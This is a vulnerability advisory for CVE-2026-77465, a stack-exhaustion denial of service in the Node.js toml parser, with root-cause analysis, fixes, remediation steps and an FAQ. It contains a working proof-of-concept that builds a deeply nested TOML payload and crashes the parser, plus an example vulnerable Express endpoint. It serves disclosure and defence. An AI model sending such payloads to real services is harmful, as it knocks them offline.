CVE-2026-77465: toml-node: Uncontrolled Recursion
Summary
toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.
A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.
---
Vulnerable Code
The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inlinetable rule functions — none carry a depth counter:
javascript // lib/parser.js — peg$parsevalue() @ line 1008 function peg$parsevalue() { ... s0 = peg$parsearray(); // line 1017 ← value → array if (s0 === peg$FAILED) { s0 = peg$parseinlinetable(); // line 1019 ← value → inlinetable } ... }
// peg$parsearray() @ line 2879 function peg$parsearray() { ... s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge) ... }
// peg$parseinlinetable() @ line 3066 → peg$parseinlinetableentry() @ line 3239 function peg$parseinlinetableentry() { ... s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge) ... }
Recursion cycle for a=[[[ … ]]] (bare nested arrays):
toml.parse(src) → peg$parsevalue() # parser.js:1008 → peg$parsearray() # parser.js:1017 / 2879 → peg$parsevalue() # parser.js:2931 ← back-edge, per nested element → … # depth == input nesting → RangeError, no guard
Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinlinetable / peg$parseinlinetableentry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).
---
Confirmed PoC (toml 4.1.2, Node.js v24.16.0)
Setup:
bash npm install toml@4.1.2 # latest release; 4.1.1 and earlier are equally affected Docker equivalent: docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"
Reproduce — save as poc.js, run node poc.js:
javascript const toml = require('toml'); console.log('version:', require('toml/package.json').version); // 4.1.2
// Smallest reliable payload: a bare array nested 3000 levels (~6 KB) let x = '1'; for (let i = 0; i < 3000; i++) x = '[' + x + ']'; const payload = 'a=' + x; console.log('payload bytes:', payload.length); // 6003
try { toml.parse(payload); console.log('no crash'); } catch (e) { console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40)); console.log('is RangeError?', e instanceof RangeError, // true '| is SyntaxError?', e instanceof SyntaxError); // false }
Expected output (vulnerable — actual run):
version: 4.1.2 payload bytes: 6003 CONFIRMED: RangeError: Maximum call stack size exceeded is RangeError? true | is SyntaxError? false
Verified crash thresholds (fresh process, single parse, default Node 24 stack):
| Payload shape | Reliable crash depth | Payload size | |---------------|----------------------|--------------| | Bare nested array a=[[ … ]] | ≥ ~2,500 | ~5 KB (6 KB at depth 3000, used above) | | Inline table {arr=[ … ]} | ≥ ~1,500 | ~12 KB |
Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured --stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.
---
Realistic Attack Scenario
javascript // Node.js service parsing user-supplied TOML config const express = require('express'); const toml = require('toml'); const app = express(); app.use(express.text({ type: 'application/toml', limit: '100kb' }));
app.post('/config', (req, res) => { try { const config = toml.parse(req.body); // ← RangeError on ~6 KB nested payload res.json({ status: 'ok' }); } catch (e) { // toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column) // on malformed input. A RangeError has neither, so this guard rethrows it: if (e.line != null) return res.status(400).json({ error: e.message }); throw e; // RangeError propagates → uncaught → worker down } });
An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).
The package exports only parse (Object.keys(require('toml')) → ['parse']); there is no toml.SyntaxError. Code written as catch (e) { if (e instanceof toml.SyntaxError) … } is itself broken (instanceof undefined throws), so applications generally cannot cleanly distinguish the DoS RangeError from a normal parse error.
---
Impact
Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.
RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.
---
Suggested Fix
Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:
Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:
javascript // In the grammar initializer: { let depth = 0; const MAXDEPTH = 500; }
// Wrap the recursive value rule: value = &{ if (++depth > MAXDEPTH) { error("TOML nesting too deep"); } return true; } v:(array / inlinetable / ...) { depth--; return v; }
Option 2 — entry-point guard in index.js (reject pathological input before parsing):
javascript module.exports.parse = function (input) { // cheap structural bound before the recursive parse let depth = 0, max = 0; for (const ch of input) { if (ch === '[' || ch === '{') max = Math.max(max, ++depth); else if (ch === ']' || ch === '}') depth--; } if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)'); return realParse(input); };
Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).
---
Comparison with Related Vulnerabilities
Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinlinetable and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.
Other sources
toml-node is a TOML parser for Node.js and the browser. Prior to 4.2.0, toml.parse() uses a Peggy 5.1.0 generated recursive-descent parser in lib/parser.js whose peg$parsevalue, peg$parsearray, and peg$parseinlinetableentry functions recurse through nested arrays and inline tables without a depth limit. A remote unauthenticated application parsing an attacker-controlled TOML document containing a few thousand nested arrays or inline tables can exhaust the Node.js call stack, raise an unexpected RangeError rather than the parser's SyntaxError, and terminate an unprotected request worker or process. The corresponding grammar source is src/toml.pegjs, where the generated parser must be bounded. This issue is fixed in version 4.2.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/tomlto a version that resolves this vulnerability.Fixed in 4.2.0 - Upgrade
Upgrade
tomlto a version that resolves this vulnerability.Fixed in 4.2.0 - Configuration
Before calling `toml.parse(req.body)` add an input guard that tracks maximum `[`/`{` nesting depth while scanning the TOML text, and reject (e.g., return HTTP 400) when the maximum nesting exceeds a few hundred (the material suggests MAX_DEPTH=500). This prevents the recursion cycle between the generated `peg$parsevalue`/`peg$parsearray`/`peg$parseinline_table` rules from exhausting the call stack.
toml (entry-point guard around toml.parse) TOML nested `[`/`{` depth = reject if max nesting exceeds a few hundred (example: MAX_DEPTH=500) - Configuration
Apply the fix at the grammar level in `src/toml.pegjs` by adding a depth limit to the recursive rules (the material’s example uses `MAX_DEPTH=500` with `if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); }`). Regenerate the generated parser (`lib/parser.js`) after updating the grammar.
toml (parser grammar) Depth limit in generated PEG grammar (`src/toml.pegjs`) = MAX_DEPTH=500 - Compensating control
As an immediate mitigation, bound untrusted input length and bracket-nesting depth before calling `toml.parse()` (the material notes that byte-length alone is insufficient and recommends rejecting pathological inputs by nesting depth; example payload crashes around ~5–6 KB at depth ~3000, with an example guard threshold of a few hundred).
- Operational
After deploying the fix/guard, ensure any request workers that crashed due to the uncaught `RangeError: Maximum call stack size exceeded` are restarted and health-checked before resuming service.
Event History
Frequently Asked Questions
Which applications are realistically exposed?
Applications that remotely accept and parse attacker-controlled TOML with toml.parse() are exposed. The attack does not require authentication or user interaction.
What input is needed to trigger the failure?
An attacker can use a TOML document containing a few thousand nested arrays or inline tables. The recursive parser functions processing values, arrays, and inline-table entries have no depth limit.
What is the impact on a running service?
Excessive nesting can exhaust the Node.js call stack and produce an unexpected RangeError instead of the parser's SyntaxError. An unprotected request worker or process can terminate as a result.
How can I determine whether an installation is affected?
Versions earlier than 4.2.0 are affected. Runtime evidence may include an unexpected RangeError while parsing deeply nested TOML arrays or inline tables.
What version resolves the issue?
Upgrade to toml-node 4.2.0, which fixes the issue by bounding the generated parser behavior.